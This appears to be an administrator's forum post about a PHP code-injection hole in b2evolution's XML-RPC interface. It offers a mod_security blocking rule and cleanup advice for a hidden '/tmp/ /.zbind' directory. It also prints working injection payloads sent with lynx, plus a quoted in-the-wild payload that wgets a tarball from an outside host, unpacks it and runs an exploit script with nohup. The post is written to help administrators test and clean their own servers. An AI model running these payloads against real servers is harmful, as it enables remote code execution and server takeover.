# block access to b2evolutions xml interface
SecFilterSelective REQUEST_URI “/blogs/xmlsrv/xmlrpc.php”

I don’t know the variable that was used for the exploit, but if you ever get to know its name then you can attempt to hack your unpatched weblog using this. Replace “var_name” and “weblog_url". That’s your unpatched weblog, not an :)

(you have to escape the single quotes for “echo” to work)


echo '
var_name=,\'\');echo \'I got hacked.\';exit;/*
---
' | lynx -post_data weblog_url/xmlsrv/xmlrpc.php


And of course:


echo '
var_name=,\'\');echo \'Hello, world.\';mail(root,\'p0wned!\',\'Patch b2evolution for XML-RPC.\');exit;/*
---
' | lynx -post_data weblog_url/xmlsrv/xmlrpc.php



var=,'')); system('wget linuxgods\.go\.ro/local\.tgz; tar -xzf local.tgz /tmp; nohup /tmp/local/exploit.sh&;');exit;/*


Download the program, uncompress and execute in background using nohup so the program will continue running after its father (the PHP page) has died.

Gulf Tech report of XML-RPC vulnerability

They say the problem is that magic_quotes_gpc() isn’t applied to $HTTP_RAW_POST_DATA, so you can POST a parameter containing a single quote.

This single quote, which was not escaped using magic_quotes_gpc(), allows you to end a string with the single quote, add a semicolon “;” to end the actual statement and execute whatever code you fancy.

So, for example, if you know that the page is reading the variable “var” from the raw POST, you can send this query string.


var=,'')); phpinfo(); exit;/*


In this case, I believe that “,'’));” finishes correctly the actual call to eval. Everything after the semicolon will be then executed by the server as if it was code in the PHP page.

“phpinfo();” This executes phpinfo()
“exit;” This exits the PHP page.
“/*” and then it comments the rest of the code, so it won’t execute and won’t dump error to some log.

(I will continue later, I have problems posting)

Thanks,
Chris

note: I just found a hacking program in /tmp, seems the hacker managed to download the program, but couldn’t execute it. If you have had visitors to your xmlrpc file in access_log, and of you run apache as user “apache", look for strange directories in “/tmp” and “/var/tmp” and read this message.

The last time I found the downloaded program binaries here:

/tmp/ /.zbind

/var/tmp/ /.zbind

Notice the directory name is a single space. Notice the dot causes the directory not to be displayed when doing “ls -l".

I had to delete the directory like this:

rm “/tmp/ “

To enter the directory

cd “/tmp/ “

or

cd /tmp
cd ” “

Well, that’s all. Good luck with your servers.